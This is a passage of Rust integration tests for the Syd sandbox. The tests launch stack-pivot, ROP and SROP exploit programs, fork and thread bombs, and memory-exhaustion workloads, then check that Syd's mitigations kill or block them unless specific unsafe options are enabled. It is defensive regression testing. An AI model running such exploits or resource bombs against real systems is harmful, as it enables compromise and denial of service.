if !init_stack_pivot() {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
// Exploit must succeed outside Syd.
let status = Command::new("python3")
.args(["./stack-pivot", "run"])
.status()
.expect("execute python");
assert_status_code!(status, 42);
Ok(())
}
fn test_syd_ROP_default() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("sh", "cc", "python3");
if !init_stack_pivot() {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
// Exploit must fail due to execve args1==NULL||arg2==NULL.
// We set log=info to see SegvGuard in action.
// AT_SECURE mitigation may interfere so we disable.
// W^X mitigation may interfere so we disable.
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("trace/allow_unsafe_exec_libc:1")
.m("trace/allow_unsafe_exec_memory:1")
.m("allow/all+/***")
.argv(["python3", "./stack-pivot", "run"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ROP_unsafe_exec_null() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("sh", "cc", "python3");
if !init_stack_pivot() {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
// With trace/allow_unsafe_exec_null, ROP should be succeed.
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("trace/allow_unsafe_exec_libc:1")
.m("trace/allow_unsafe_exec_memory:1")
.m("trace/allow_unsafe_exec_null:1")
.m("allow/all+/***")
.argv(["python3", "./stack-pivot", "run"])
.status()
.expect("execute syd");
assert_status_code!(status, 42);
Ok(())
}
fn test_syd_ROP_unsafe_ptrace() -> TestResult {
skip_unless_trusted!();
skip_if_32bin_64host!();
skip_unless_available!("sh", "cc", "python3");
if !init_stack_pivot() {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
// With trace/allow_unsafe_{exec_null,ptrace}:1,
// ROP should succeed.
let status = syd()
.p("fs")
.p("tty")
.m("trace/allow_unsafe_exec_libc:1")
.m("trace/allow_unsafe_exec_memory:1")
.m("trace/allow_unsafe_exec_null:1")
.m("trace/allow_unsafe_ptrace:1")
.m("allow/all+/***")
.argv(["python3", "./stack-pivot", "run"])
.status()
.expect("execute syd");
assert_status_code!(status, 42);
Ok(())
}
fn test_syd_exp_trinity() -> TestResult {
skip_unless_unshare!("all");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
env::set_var("SYD_TEST_TIMEOUT", "0");
let epoch = std::time::Instant::now();
let status = syd()
.p("ltp")
.do_("syscall_fuzz", NONE)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
let time = format_duration(epoch.elapsed());
println!("# fuzz completed in {time} with code {code}.");
env::set_var("SYD_TEST_TIMEOUT", timeout);
assert_status_ok!(status);
Ok(())
}
fn test_syd_SROP_linux() -> TestResult {
skip_if_strace!();
skip_if_32bin_64host!();
skip_unless_available!("sh", "cc", "python3");
if !init_srop() {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
// Exploit must succeed outside Syd.
let status = Command::new("python3")
.args(["./srop", "run"])
.status()
.expect("execute python");
assert_status_code!(status, 42);
Ok(())
}
fn test_syd_SROP_default() -> TestResult {
skip_if_strace!();
skip_if_32bin_64host!();
skip_unless_available!("sh", "cc", "python3");
if !init_srop() {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
// Exploit must fail due to execve args1==NULL||arg2==NULL.
// That's why we set unsafe_exec_null:1 to test SROP mitigations only.
// We set log=info to see SegvGuard in action.
// AT_SECURE mitigation may interfere so we disable.
// W^X mitigation may interfere so we disable.
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("trace/allow_unsafe_exec_libc:1")
.m("trace/allow_unsafe_exec_memory:1")
.m("trace/allow_unsafe_exec_null:1")
.m("allow/all+/***")
.argv(["python3", "./srop", "run"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_SROP_unsafe() -> TestResult {
skip_if_strace!();
skip_if_32bin_64host!();
skip_unless_available!("sh", "cc", "python3");
if !init_srop() {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
// With trace/allow_unsafe_sigreturn:1, SROP should succeed.
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("trace/allow_unsafe_exec_libc:1")
.m("trace/allow_unsafe_exec_memory:1")
.m("trace/allow_unsafe_exec_null:1")
.m("trace/allow_unsafe_sigreturn:1")
.m("allow/all+/***")
.argv(["python3", "./srop", "run"])
.status()
.expect("execute syd");
assert_status_code!(status, 42);
Ok(())
}
fn test_syd_SROP_detect_genuine_sigreturn() -> TestResult {
skip_if_strace!();
let sigs = vec![
libc::SIGHUP.to_string(),
libc::SIGINT.to_string(),
libc::SIGPIPE.to_string(),
libc::SIGTERM.to_string(),
];
let status = syd()
.p("off")
.do_("sighandle", &sigs)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_SROP_detect_artificial_sigreturn_default() -> TestResult {
skip_if_strace!();
let status = syd()
.p("off")
.do_("sigreturn", NONE)
.status()
.expect("execute syd");
assert_status_killed!(status);
Ok(())
}
fn test_syd_SROP_detect_artificial_sigreturn_unsafe() -> TestResult {
skip_if_strace!();
let status = syd()
.p("off")
.m("trace/allow_unsafe_sigreturn:1")
.do_("sigreturn", NONE)
.status()
.expect("execute syd");
assert_status_not_killed!(status);
Ok(())
}
fn test_syd_SROP_detect_handler_ucontext_rip() -> TestResult {
skip_if_strace!();
skip_unless_available!("sh"); // POC pops a shell.
if cfg!(not(any(target_arch = "x86_64", target_arch = "x86"))) {
eprintln!("Test is implemented for x86 family only, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("trace/allow_unsafe_exec_libc:1")
.m("trace/allow_unsafe_exec_memory:1")
.m("trace/allow_unsafe_exec_null:1")
.m("allow/all+/***")
.do_("srop_handler_ucontext_rip", NONE)
.status()
.expect("execute syd");
assert_status_killed!(status);
Ok(())
}
fn test_syd_SROP_cross_thread_tgkill() -> TestResult {
skip_if_strace!();
skip_unless_available!("cc");
if !srop_compile(SROP_CODE_CROSS_THREAD, "srop_cross_thread") {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("off")
.argv(["./srop_cross_thread", "1"])
.status()
.expect("execute syd");
// SIGSEGV indicates bypass.
assert_status_killed!(status);
Ok(())
}
fn test_syd_SROP_cross_thread_kill() -> TestResult {
skip_if_strace!();
skip_unless_available!("cc");
if !srop_compile(SROP_CODE_CROSS_THREAD, "srop_cross_thread") {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("off")
.argv(["./srop_cross_thread", "0"])
.status()
.expect("execute syd");
// SIGSEGV indicates bypass.
assert_status_killed!(status);
Ok(())
}
fn test_syd_SROP_siglongjmp_tgkill() -> TestResult {
skip_if_strace!();
skip_unless_available!("cc");
if !srop_compile(SROP_CODE_SIGLONGJMP, "srop_siglongjmp") {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("off")
.argv(["./srop_siglongjmp", "1"])
.status()
.expect("execute syd");
// SIGSEGV indicates bypass.
assert_status_killed!(status);
Ok(())
}
fn test_syd_SROP_siglongjmp_kill() -> TestResult {
skip_if_strace!();
skip_unless_available!("cc");
if !srop_compile(SROP_CODE_SIGLONGJMP, "srop_siglongjmp") {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("off")
.argv(["./srop_siglongjmp", "0"])
.status()
.expect("execute syd");
// SIGSEGV indicates bypass.
assert_status_killed!(status);
Ok(())
}
fn test_syd_SROP_siglongjmp_asmwrap() -> TestResult {
skip_if_strace!();
skip_unless_available!("cc");
if !cfg!(target_arch = "x86_64") {
return Ok(());
}
if !srop_compile(SROP_CODE_SIGLONGJMP_ASMWRAP, "srop_siglongjmp_asmwrap") {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("off")
.argv(["./srop_siglongjmp_asmwrap"])
.status()
.expect("execute syd");
// SIGSEGV indicates bypass.
assert_status_killed!(status);
Ok(())
}
fn test_syd_SROP_sigreturn_altstack() -> TestResult {
skip_if_strace!();
skip_unless_available!("cc");
if !srop_compile(SROP_CODE_ALTSTACK, "srop_altstack") {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("off")
.argv(["./srop_altstack"])
.status()
.expect("execute syd");
// Legit sigreturn(2) must be allowed.
assert_status_ok!(status);
Ok(())
}
fn test_syd_SROP_detect_sigign() -> TestResult {
skip_if_strace!();
skip_unless_available!("cc");
if !srop_compile(SROP_CODE_SIGIGN, "srop_sigign") {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("off")
.argv(["./srop_sigign"])
.status()
.expect("execute syd");
// SIGSEGV indicates bypass.
assert_status_killed!(status);
Ok(())
}
fn test_syd_SROP_async_preempt_go() -> TestResult {
skip_if_strace!();
skip_unless_available!("go");
let gocache = env::current_dir()
.map(XPathBuf::from)
.expect("cwd")
.join(b"srop_gocache");
let status = syd()
.p("off")
.env("GOCACHE", &gocache)
.env("GOGC", "1")
.env("GODEBUG", "asyncpreemptoff=0")
.argv(["go", "build", "-a", "-o", "/dev/null", "std"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_SROP_detect_handler_toggle_1() -> TestResult {
skip_if_strace!();
skip_if_32bin_64host!();
skip_unless_available!("python3");
if !init_srop_handler_toggle() {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["python3", "./srop-handler-toggle", "-v"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_SROP_detect_handler_toggle_2() -> TestResult {
skip_if_strace!();
skip_unless_available!("cc");
if !srop_compile(SROP_CODE_HANDLER_TOGGLE_C, "srop_handler_toggle_2") {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["./srop_handler_toggle_2"])
.status()
.expect("execute syd");
assert_status_killed!(status);
Ok(())
}
fn test_syd_pid_thread_kill() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user", "mount", "pid");
let status = syd()
.p("off")
.m("unshare/user,pid:1")
.m("pid/max:1")
.do_("thread", ["0", "24"])
.status()
.expect("execute syd");
assert_status_code!(status, EX_SIGKILL);
Ok(())
}
fn test_syd_pid_fork_kill() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user", "mount", "pid");
let status = syd()
.p("off")
.m("unshare/user,pid:1")
.m("pid/max:16")
.do_("fork", ["0", "24"])
.status()
.expect("execute syd");
assert_status_code!(status, EX_SIGKILL);
Ok(())
}
fn test_syd_pid_fork_bomb() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user", "mount", "pid");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
env::set_var("SYD_TEST_TIMEOUT", "15s");
let status = syd()
.env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
.log("error")
.p("off")
.m("unshare/user,pid:1")
.m("pid/max:16")
.do_("fork_bomb", NONE)
//.stdout(Stdio::null())
//.stderr(Stdio::null())
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", timeout);
assert_status_code!(status, EX_SIGKILL);
Ok(())
}
fn test_syd_pid_fork_bomb_asm() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user", "mount", "pid");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
env::set_var("SYD_TEST_TIMEOUT", "15s");
let status = syd()
.env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
.log("error")
.p("off")
.m("unshare/user,pid:1")
.m("pid/max:16")
.do_("fork_bomb_asm", NONE)
//.stdout(Stdio::null())
//.stderr(Stdio::null())
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", timeout);
assert_status_code!(status, EX_SIGKILL);
Ok(())
}
fn test_syd_pid_thread_bomb() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user", "mount", "pid");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
env::set_var("SYD_TEST_TIMEOUT", "15s");
let status = syd()
.env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
.log("error")
.p("off")
.m("unshare/user,pid:1")
.m("pid/max:16")
.do_("thread_bomb", NONE)
//.stdout(Stdio::null())
//.stderr(Stdio::null())
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", timeout);
assert_status_code!(status, EX_SIGKILL);
Ok(())
}
fn test_syd_exp_pid_stress_ng_kill() -> TestResult {
skip_unless_available!("stress-ng");
skip_unless_unshare!("user", "mount", "pid");
let status = syd()
.p("off")
.m("unshare/user,pid:1")
.m("pid/max:1")
.argv(["stress-ng", "-c", "1", "-t", "7"])
.status()
.expect("execute syd");
assert_status_code!(status, EX_SIGKILL);
Ok(())
}
fn test_syd_exp_pid_stress_ng_allow() -> TestResult {
skip_unless_available!("stress-ng");
skip_unless_unshare!("user", "mount", "pid");
let status = syd()
.p("off")
.m("unshare/user,pid:1")
.m("default/pid:warn")
.m("pid/max:2")
.argv(["stress-ng", "--log-file", "log", "-c", "1", "-t", "7"])
.status()
.expect("execute syd");
// Fails on CI.
if !*CI_BUILD {
assert_status_ok!(status);
} else {
ignore!(status.success(), "status:{status:?}");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let mut file = File::open("log")?;
let mut logs = String::new();
file.read_to_string(&mut logs)?;
assert!(!logs.contains("errno="), "logs:{logs:?}");
Ok(())
}
fn test_syd_exp_pid_stress_ng_fork() -> TestResult {
skip_unless_available!("stress-ng");
skip_unless_unshare!("user", "mount", "pid");
let status = syd()
.p("off")
.m("unshare/user,pid:1")
.m("default/pid:filter")
.m("pid/max:128")
.argv([
"stress-ng",
"--log-file",
"log",
"-f",
"4",
"-t",
"15",
"--fork-max",
"1024",
])
.status()
.expect("execute syd");
// Fails on CI.
if !*CI_BUILD {
assert_status_ok!(status);
} else {
ignore!(status.success(), "status:{status:?}");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let mut file = File::open("log")?;
let mut logs = String::new();
file.read_to_string(&mut logs)?;
assert!(!logs.contains("errno="), "logs:{logs:?}");
Ok(())
}
fn test_syd_exp_crypt_stress_ng() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("sh", "stress-ng");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
const STRESSORS: &[&str] = &[
"access",
"acl",
"copy-file",
"fallocate",
"fd-abuse",
"fd-race",
"fiemap",
"filename",
"filerace",
"flock",
"fstat",
"hdd",
"io",
"iomix",
"lockf",
"lockmix",
"lockofd",
"memfd",
"mmapfiles",
"open",
"readahead",
"rename",
"seek",
"splice",
"sync-file",
"tee",
"unlink",
"vm",
];
let status = syd()
.p("off")
.m("segvguard/expiry:0")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/tmp/**"))
.argv(["sh", "-cex"])
.arg(format!(
r##"
mkdir -m700 -p ./tmp
exec stress-ng \
--all 0 --with {} --temp-path ./tmp --timeout 60s \
--aggressive --metrics \
--hdd 8 --hdd-bytes 128M --hdd-opts wr-seq,rd-rnd
"##,
STRESSORS.join(",")
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mem_alloc_deny() -> TestResult {
let status = syd()
.env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
.p("off")
.m("mem/max:256M")
.do_("alloc", NONE)
.status()
.expect("execute syd");
// This test times out on GITLAB CI.
// TODO: Investigate, see: #166.
if !*GL_BUILD {
// Segmentation fault is expected.
// IOT is confusing but happens on alpine+musl.
// Otherwise we require ENOMEM.
assert!(
matches!(
status.code().unwrap_or(127),
ENOMEM | EX_SIGIOT | EX_SIGSEGV
),
"status:{status:?}"
);
} else {
ignore!(status.success(), "status:{status:?}");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
Ok(())
}
fn test_syd_mem_alloc_kill() -> TestResult {
let status = syd()
.env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
.p("off")
.m("mem/max:256M")
.m("default/mem:kill")
.do_("alloc", NONE)
.status()
.expect("execute syd");
assert_status_killed!(status);
Ok(())
}
fn test_syd_exp_mem_stress_ng_malloc_1() -> TestResult {
skip_unless_available!("stress-ng");
skip_unless_unshare!("user", "mount", "pid");
let command = syd()
.p("off")
.m("unshare/user,pid:1")
.m("mem/max:32M")
.m("mem/vm_max:256M")
.argv([
"stress-ng",
"-v",
"-t",
"5",
"--malloc",
"4",
"--malloc-bytes",
"128M",
])
.stdout(Stdio::inherit())
.stderr(Stdio::piped())
.spawn()
.expect("spawn syd");
let output = command.wait_with_output().expect("wait syd");
let output = String::from_utf8_lossy(&output.stderr);
eprintln!("{output}");
assert!(output.contains(r#""cap":"m""#), "out:{output:?}");
Ok(())
}
fn test_syd_exp_mem_stress_ng_malloc_2() -> TestResult {
skip_unless_available!("stress-ng");
skip_unless_unshare!("user", "mount", "pid");
let command = syd()
.p("off")
.m("unshare/user,pid:1")
.m("mem/max:32M")
.m("mem/vm_max:256M")
.argv([
"stress-ng",
"-v",
"-t",
"5",
"--malloc",
"4",
"--malloc-bytes",
"128M",
"--malloc-touch",
])
.stdout(Stdio::inherit())
.stderr(Stdio::piped())
.spawn()
.expect("spawn syd");
let output = command.wait_with_output().expect("wait syd");
let output = String::from_utf8_lossy(&output.stderr);
eprintln!("{output}");
assert!(output.contains(r#""cap":"m""#), "out:{output:?}");
Ok(())
}
fn test_syd_exp_mem_stress_ng_mmap() -> TestResult {
skip_if_strace!();
skip_unless_available!("stress-ng");
skip_unless_unshare!("user", "mount", "pid");
let command = syd()
.p("off")
.m("unshare/user,pid:1")
.m("mem/max:16M")
.m("mem/vm_max:64M")
.argv([
"stress-ng",
"-v",
"-t",
"5",
"--mmap",
"4",
"--mmap-bytes",
"1G",
])
.stdout(Stdio::inherit())
.stderr(Stdio::piped())
.spawn()
.expect("spawn syd");
let output = command.wait_with_output().expect("wait syd");
let output = String::from_utf8_lossy(&output.stderr);
eprintln!("{output}");
fixup!(output.contains(r#""cap":"m""#), "out:{output:?}");
Ok(())
}
fn test_syd_proc_set_at_secure_test_native_dynamic_1() -> TestResult {
skip_if_cross_memory_attach_is_not_enabled!();
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "proc_set_at_secure_test_native_dynamic_1")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_proc_set_at_secure_test_native_dynamic_2() -> TestResult {
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "proc_set_at_secure_test_native_dynamic_2")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_proc_set_at_secure_test_native_static_1() -> TestResult {
skip_if_cross_memory_attach_is_not_enabled!();
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "proc_set_at_secure_test_native_static_1")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_proc_set_at_secure_test_native_static_2() -> TestResult {
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "proc_set_at_secure_test_native_static_2")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_proc_set_at_secure_test_native_dynamic_pie_1() -> TestResult {
skip_if_cross_memory_attach_is_not_enabled!();
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env(
"SYD_TEST_DO",
"proc_set_at_secure_test_native_dynamic_pie_1",
)
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_proc_set_at_secure_test_native_dynamic_pie_2() -> TestResult {
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env(
"SYD_TEST_DO",
"proc_set_at_secure_test_native_dynamic_pie_2",
)
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_proc_set_at_secure_test_native_static_pie_1() -> TestResult {
skip_if_cross_memory_attach_is_not_enabled!();
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "proc_set_at_secure_test_native_static_pie_1")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_proc_set_at_secure_test_native_static_pie_2() -> TestResult {
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "proc_set_at_secure_test_native_static_pie_2")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_proc_set_at_secure_test_32bit_dynamic_1() -> TestResult {
skip_if_cross_memory_attach_is_not_enabled!();
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_dynamic_1")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_proc_set_at_secure_test_32bit_dynamic_2() -> TestResult {
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_dynamic_2")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_proc_set_at_secure_test_32bit_static_1() -> TestResult {
skip_if_cross_memory_attach_is_not_enabled!();
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_static_1")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_proc_set_at_secure_test_32bit_static_2() -> TestResult {
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_static_2")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_proc_set_at_secure_test_32bit_dynamic_pie_1() -> TestResult {
skip_if_cross_memory_attach_is_not_enabled!();
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_dynamic_pie_1")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_proc_set_at_secure_test_32bit_dynamic_pie_2() -> TestResult {
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_dynamic_pie_2")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_proc_set_at_secure_test_32bit_static_pie_1() -> TestResult {
skip_if_cross_memory_attach_is_not_enabled!();
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_static_pie_1")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_proc_set_at_secure_test_32bit_static_pie_2() -> TestResult {
skip_unless_available!("cc");
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_static_pie_2")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_chdir_noop() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_chdir_noop")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_chdir_eperm() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_chdir_eperm")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_chdir_enoent() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_chdir_enoent")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_chdir_eintr() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_chdir_eintr")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_chdir_eio() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_chdir_eio")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_chdir_enxio() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_chdir_enxio")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_chdir_e2big() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_chdir_e2big")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_chdir_enoexec() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_chdir_enoexec")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_chdir_ebadf() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_chdir_ebadf")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_chdir_echild() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_chdir_echild")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_get_syscall_info_random_args() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_get_syscall_info_random_args")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_get_error_chdir_success() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_get_error_chdir_success")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_get_error_chdir_enoent() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_get_error_chdir_enoent")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_get_error_chdir_eacces() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_get_error_chdir_eacces")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_get_error_chdir_enotdir() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_get_error_chdir_enotdir")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_get_error_chdir_efault() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_get_error_chdir_efault")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_info_entry_noop() -> TestResult {
skip_unless_ptrace_set_syscall_info!();
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_info_entry_noop")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_info_entry_skip() -> TestResult {
skip_unless_ptrace_set_syscall_info!();
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_info_entry_skip")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_info_exit_success() -> TestResult {
skip_unless_ptrace_set_syscall_info!();
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_info_exit_success")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_info_exit_error() -> TestResult {
skip_unless_ptrace_set_syscall_info!();
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_info_exit_error")
.status()
.expect("execute syd-test-do");
